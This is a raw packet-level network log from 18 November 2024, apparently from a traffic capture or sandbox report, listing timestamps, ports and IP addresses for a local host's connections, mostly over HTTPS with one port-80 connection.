Nov 18, 2024 02:34:42.033965111 CET	443	49885	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.034701109 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.035304070 CET	49882	443	192.168.2.6	13.107.246.67
Nov 18, 2024 02:34:42.035317898 CET	443	49882	13.107.246.67	192.168.2.6
Nov 18, 2024 02:34:42.052023888 CET	49895	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.052104950 CET	443	49895	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.052167892 CET	49896	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.052179098 CET	49895	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.052222967 CET	443	49896	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.052284002 CET	49896	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.053572893 CET	49895	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.053607941 CET	443	49895	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.053649902 CET	49896	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.053668022 CET	443	49896	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.056490898 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.056509018 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.066700935 CET	49897	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.066740990 CET	443	49897	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.066951036 CET	49897	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.067116022 CET	49897	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.067128897 CET	443	49897	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.142294884 CET	49898	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.142308950 CET	443	49898	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.142368078 CET	49898	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.142748117 CET	49898	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.142764091 CET	443	49898	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.370970011 CET	443	49893	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.371706963 CET	49893	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.371757984 CET	443	49893	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.372149944 CET	49893	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.372162104 CET	443	49893	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.383996964 CET	443	49892	184.28.90.27	192.168.2.6
Nov 18, 2024 02:34:42.384069920 CET	49892	443	192.168.2.6	184.28.90.27
Nov 18, 2024 02:34:42.385972977 CET	49892	443	192.168.2.6	184.28.90.27
Nov 18, 2024 02:34:42.385979891 CET	443	49892	184.28.90.27	192.168.2.6
Nov 18, 2024 02:34:42.386217117 CET	443	49892	184.28.90.27	192.168.2.6
Nov 18, 2024 02:34:42.433929920 CET	49892	443	192.168.2.6	184.28.90.27
Nov 18, 2024 02:34:42.438426971 CET	49892	443	192.168.2.6	184.28.90.27
Nov 18, 2024 02:34:42.483329058 CET	443	49892	184.28.90.27	192.168.2.6
Nov 18, 2024 02:34:42.502931118 CET	443	49893	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.502962112 CET	443	49893	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.503011942 CET	443	49893	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.503078938 CET	49893	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.503130913 CET	49893	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.503751993 CET	49893	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.503751993 CET	49893	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.503788948 CET	443	49893	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.503812075 CET	443	49893	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.507667065 CET	49901	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.507694960 CET	443	49901	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.507797003 CET	49901	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.507968903 CET	49901	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.507982016 CET	443	49901	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.516411066 CET	443	49894	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.517143011 CET	49894	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.517158985 CET	443	49894	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.517621994 CET	49894	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.517626047 CET	443	49894	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.548698902 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:42.644902945 CET	443	49894	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.645318985 CET	443	49894	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.646501064 CET	49894	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.646615028 CET	49894	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.646621943 CET	443	49894	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.646630049 CET	49894	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.646634102 CET	443	49894	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.649121046 CET	49905	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.649144888 CET	443	49905	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.649266958 CET	49905	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.649519920 CET	49905	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.649537086 CET	443	49905	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.681989908 CET	443	49892	184.28.90.27	192.168.2.6
Nov 18, 2024 02:34:42.682044983 CET	443	49892	184.28.90.27	192.168.2.6
Nov 18, 2024 02:34:42.682199001 CET	49892	443	192.168.2.6	184.28.90.27
Nov 18, 2024 02:34:42.682326078 CET	49892	443	192.168.2.6	184.28.90.27
Nov 18, 2024 02:34:42.682339907 CET	443	49892	184.28.90.27	192.168.2.6
Nov 18, 2024 02:34:42.682352066 CET	49892	443	192.168.2.6	184.28.90.27
Nov 18, 2024 02:34:42.682358980 CET	443	49892	184.28.90.27	192.168.2.6
Nov 18, 2024 02:34:42.746225119 CET	49906	443	192.168.2.6	184.28.90.27
Nov 18, 2024 02:34:42.746246099 CET	443	49906	184.28.90.27	192.168.2.6
Nov 18, 2024 02:34:42.746368885 CET	49906	443	192.168.2.6	184.28.90.27
Nov 18, 2024 02:34:42.747009039 CET	49906	443	192.168.2.6	184.28.90.27
Nov 18, 2024 02:34:42.747021914 CET	443	49906	184.28.90.27	192.168.2.6
Nov 18, 2024 02:34:42.795558929 CET	443	49896	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.795988083 CET	49896	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.796008110 CET	443	49896	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.796749115 CET	49896	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.796753883 CET	443	49896	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.797816038 CET	443	49895	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.798238039 CET	49895	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.798269033 CET	443	49895	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.798867941 CET	49895	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.798877001 CET	443	49895	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.809161901 CET	443	49897	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.809768915 CET	49897	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.809792042 CET	443	49897	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.810995102 CET	49897	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.811001062 CET	443	49897	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.891710997 CET	443	49898	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.891948938 CET	49898	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.891963959 CET	443	49898	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.893018961 CET	443	49898	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.893137932 CET	49898	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.893419981 CET	49898	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.893486977 CET	443	49898	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.893583059 CET	49898	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.893591881 CET	443	49898	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.926192999 CET	443	49896	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.926285028 CET	443	49896	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.926440954 CET	49896	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.926490068 CET	49896	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.926512957 CET	443	49896	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.926527977 CET	49896	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.926534891 CET	443	49896	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.929037094 CET	443	49895	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.929306984 CET	443	49895	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.929414034 CET	49895	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.929457903 CET	49895	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.929457903 CET	49895	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.929478884 CET	443	49895	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.929492950 CET	443	49895	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.929686069 CET	49907	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.929712057 CET	443	49907	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.929783106 CET	49907	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.929953098 CET	49907	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.929970980 CET	443	49907	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.931821108 CET	49908	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.931862116 CET	443	49908	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.932030916 CET	49908	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.932442904 CET	49908	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.932460070 CET	443	49908	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.941277027 CET	443	49897	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.941308022 CET	443	49897	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.941392899 CET	443	49897	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.941448927 CET	49897	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.941535950 CET	49897	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.941535950 CET	49897	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.941554070 CET	443	49897	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.941566944 CET	443	49897	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.943769932 CET	49909	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.943799019 CET	443	49909	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.943931103 CET	49909	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.944041014 CET	49909	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:42.944056988 CET	443	49909	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:42.948978901 CET	49898	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.133759975 CET	443	49898	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.133783102 CET	443	49898	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.133789062 CET	443	49898	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.133826017 CET	443	49898	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.133842945 CET	443	49898	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.133842945 CET	49898	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.133858919 CET	443	49898	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.133881092 CET	443	49898	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.133896112 CET	49898	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.133896112 CET	49898	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.133908987 CET	49898	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.133919954 CET	49898	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.142199039 CET	443	49898	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.142215014 CET	443	49898	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.142277002 CET	49898	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.142287970 CET	443	49898	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.142792940 CET	49898	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.251235962 CET	443	49898	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.251256943 CET	443	49898	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.251308918 CET	49898	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.251327038 CET	443	49898	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.251352072 CET	49898	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.251374006 CET	49898	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.251960039 CET	443	49898	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.252027988 CET	49898	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.252036095 CET	443	49898	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.252049923 CET	443	49898	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.252093077 CET	49898	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.252207994 CET	49898	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.252216101 CET	443	49898	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.256973028 CET	443	49901	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.257478952 CET	49901	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.257508039 CET	443	49901	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.258091927 CET	49901	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.258097887 CET	443	49901	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.387428045 CET	443	49901	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.387492895 CET	443	49901	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.387590885 CET	49901	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.387597084 CET	443	49901	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.387649059 CET	49901	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.388089895 CET	49901	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.388089895 CET	49901	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.388109922 CET	443	49901	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.388120890 CET	443	49901	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.394525051 CET	49911	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.394560099 CET	443	49911	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.394953966 CET	49911	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.396913052 CET	443	49905	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.402403116 CET	49911	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.402419090 CET	443	49911	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.402884007 CET	49905	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.402911901 CET	443	49905	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.403335094 CET	49905	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.403342962 CET	443	49905	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.544235945 CET	443	49905	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.544310093 CET	443	49905	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.544389963 CET	49905	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.544404030 CET	443	49905	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.544574022 CET	49905	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.544580936 CET	443	49905	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.544672012 CET	443	49905	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.544708014 CET	49905	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.544720888 CET	443	49905	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.559427977 CET	49916	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.559453011 CET	443	49916	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.559561014 CET	49916	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.560204983 CET	49916	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.560216904 CET	443	49916	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.597450972 CET	443	49906	184.28.90.27	192.168.2.6
Nov 18, 2024 02:34:43.597532034 CET	49906	443	192.168.2.6	184.28.90.27
Nov 18, 2024 02:34:43.599209070 CET	49906	443	192.168.2.6	184.28.90.27
Nov 18, 2024 02:34:43.599215984 CET	443	49906	184.28.90.27	192.168.2.6
Nov 18, 2024 02:34:43.599484921 CET	443	49906	184.28.90.27	192.168.2.6
Nov 18, 2024 02:34:43.600963116 CET	49906	443	192.168.2.6	184.28.90.27
Nov 18, 2024 02:34:43.643327951 CET	443	49906	184.28.90.27	192.168.2.6
Nov 18, 2024 02:34:43.673580885 CET	443	49907	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.673758984 CET	443	49908	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.674009085 CET	49907	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.674036026 CET	443	49907	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.674557924 CET	49907	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.674563885 CET	443	49907	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.675018072 CET	49908	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.675045013 CET	443	49908	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.675287962 CET	49908	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.675295115 CET	443	49908	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.689390898 CET	443	49909	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.689770937 CET	49909	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.689789057 CET	443	49909	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.690399885 CET	49909	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.690406084 CET	443	49909	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.803453922 CET	443	49907	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.803527117 CET	443	49907	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.803653002 CET	49907	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.803800106 CET	49907	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.803817034 CET	443	49907	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.803829908 CET	49907	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.803836107 CET	443	49907	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.806407928 CET	49922	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.806442022 CET	443	49922	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.806550026 CET	443	49908	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.806577921 CET	443	49908	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.806648970 CET	443	49908	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.806757927 CET	49922	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.806757927 CET	49922	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.806781054 CET	49908	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.806781054 CET	49908	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.806796074 CET	443	49922	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.806855917 CET	49908	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.806870937 CET	443	49908	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.806927919 CET	49908	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.806935072 CET	443	49908	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.811875105 CET	49923	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.811904907 CET	443	49923	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.812381029 CET	49923	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.813077927 CET	49923	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.813102007 CET	443	49923	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.819849014 CET	443	49909	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.821362972 CET	443	49909	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.821419954 CET	49909	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.821485043 CET	49909	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.821485043 CET	49909	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.821501970 CET	443	49909	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.821515083 CET	443	49909	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.825906038 CET	49924	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.825933933 CET	443	49924	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.826014042 CET	49924	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.826138020 CET	49924	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:43.826153994 CET	443	49924	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:43.845870018 CET	443	49906	184.28.90.27	192.168.2.6
Nov 18, 2024 02:34:43.845935106 CET	443	49906	184.28.90.27	192.168.2.6
Nov 18, 2024 02:34:43.846074104 CET	49906	443	192.168.2.6	184.28.90.27
Nov 18, 2024 02:34:43.846728086 CET	49906	443	192.168.2.6	184.28.90.27
Nov 18, 2024 02:34:43.846738100 CET	443	49906	184.28.90.27	192.168.2.6
Nov 18, 2024 02:34:43.846779108 CET	49906	443	192.168.2.6	184.28.90.27
Nov 18, 2024 02:34:43.846786022 CET	443	49906	184.28.90.27	192.168.2.6
Nov 18, 2024 02:34:44.144639015 CET	443	49911	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:44.145535946 CET	49911	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:44.145560980 CET	443	49911	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:44.146461964 CET	49911	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:44.146469116 CET	443	49911	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:44.276098967 CET	443	49911	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:44.276137114 CET	443	49911	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:44.276196957 CET	443	49911	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:44.276395082 CET	49911	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:44.284579039 CET	443	49916	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:44.287940979 CET	49911	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:44.287964106 CET	443	49911	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:44.288053036 CET	49911	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:44.288063049 CET	443	49911	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:44.289788008 CET	49916	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:44.289813995 CET	443	49916	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:44.290258884 CET	49916	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:44.290263891 CET	443	49916	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:44.299491882 CET	49925	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:44.299523115 CET	443	49925	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:44.299609900 CET	49925	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:44.367887974 CET	49925	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:44.367908955 CET	443	49925	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:44.418970108 CET	443	49916	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:44.419086933 CET	443	49916	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:44.419193029 CET	49916	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:44.419208050 CET	443	49916	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:44.419265985 CET	49916	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:44.494847059 CET	49916	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:44.494847059 CET	49916	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:44.494888067 CET	443	49916	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:44.494913101 CET	443	49916	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:44.549654007 CET	443	49922	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:44.560254097 CET	443	49923	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:44.568715096 CET	443	49924	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:44.596899986 CET	49922	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:44.613866091 CET	49923	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:44.614679098 CET	49924	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:44.630336046 CET	49924	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:44.630342960 CET	443	49924	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:44.630987883 CET	49924	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:44.630991936 CET	443	49924	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:44.632524014 CET	49923	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:44.632549047 CET	443	49923	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:44.632680893 CET	49922	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:44.632694006 CET	443	49922	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:44.633016109 CET	49923	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:44.633047104 CET	443	49923	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:44.633167982 CET	49922	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:44.633173943 CET	443	49922	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:44.636780977 CET	49926	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:44.636816978 CET	443	49926	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:44.636986017 CET	49926	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:44.637113094 CET	49926	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:44.637124062 CET	443	49926	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:44.921057940 CET	443	49922	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:44.921096087 CET	443	49924	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:44.921108961 CET	443	49922	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:44.921173096 CET	443	49922	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:44.921220064 CET	49922	443	192.168.2.6	13.107.246.45
